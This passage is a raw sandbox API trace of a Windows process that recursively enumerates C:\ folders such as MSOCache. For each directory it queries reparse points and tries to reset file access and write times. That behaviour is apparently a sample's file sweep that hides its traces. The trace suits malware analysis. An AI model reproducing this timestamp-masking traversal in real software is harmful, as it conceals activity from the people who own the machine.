ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="Documents and Settings", cAlternateFileName="")) returned 1 [0040.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0040.485] GetFileAttributesExW (in: lpFileName="C:\\Documents and Settings" (normalized: "c:\\documents and settings"), fInfoLevelId=0x0, lpFileInformation=0x17af664 | out: lpFileInformation=0x17af664*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0040.486] CreateFileW (lpFileName="C:\\Documents and Settings" (normalized: "c:\\documents and settings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0040.487] GetLastError () returned 0x5 [0040.487] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0040.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0040.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f7a8 [0040.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f720 [0040.488] FindFirstFileExW (in: lpFileName="C:\\Documents and Settings\\*", fInfoLevelId=0x1, lpFindFileData=0x17af4b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af4b0) returned 0xffffffff [0040.488] GetLastError () returned 0x5 [0040.488] FindFirstFileExW (in: lpFileName="C:\\Documents and Settings\\*", fInfoLevelId=0x1, lpFindFileData=0x17af4b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af4b0) returned 0xffffffff [0040.488] GetLastError () returned 0x5 [0040.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f720) returned 1 [0040.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f7a8) returned 1 [0040.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0040.488] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0040.489] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0040.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0040.489] GetFileAttributesExW (in: lpFileName="C:\\MSOCache" (normalized: "c:\\msocache"), fInfoLevelId=0x0, lpFileInformation=0x17af664 | out: lpFileInformation=0x17af664*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0040.489] CreateFileW (lpFileName="C:\\MSOCache" (normalized: "c:\\msocache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0040.489] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af6a8, lpLastWriteTime=0x17af6a8) returned 0 [0040.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0040.489] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af700, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af700, lpOverlapped=0x0) returned 0 [0040.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0040.489] NtClose (Handle=0x16c) returned 0x0 [0040.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0040.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0040.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f7a8 [0040.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f720 [0040.489] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\*", fInfoLevelId=0x1, lpFindFileData=0x17af4b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af4b0) returned 0x459b78 [0040.489] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.490] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 1 [0040.490] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 0 [0040.490] GetLastError () returned 0x12 [0040.490] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\*", fInfoLevelId=0x1, lpFindFileData=0x17af4b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af4b0) returned 0x459bf8 [0040.490] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0040.490] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.490] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 1 [0040.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0040.490] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users" (normalized: "c:\\msocache\\all users"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0040.532] CreateFileW (lpFileName="C:\\MSOCache\\All Users" (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0040.532] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0040.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0040.532] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0040.532] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0040.532] NtClose (Handle=0x16c) returned 0x0 [0040.533] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0040.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0040.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0040.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0040.533] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0040.574] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.644] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.644] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.644] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.644] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.644] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.644] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.644] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.644] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.644] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.644] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.644] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.644] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.644] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.644] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.644] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.644] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.644] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.644] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 0 [0040.644] GetLastError () returned 0x12 [0040.644] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0040.644] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0040.644] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.644] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0040.645] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0040.700] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0040.701] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0040.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0040.701] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0040.701] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0040.701] NtClose (Handle=0x16c) returned 0x0 [0040.701] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0040.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0040.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0040.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed5a58 [0040.701] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0040.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed5c70 [0040.701] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459b78 [0040.701] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, 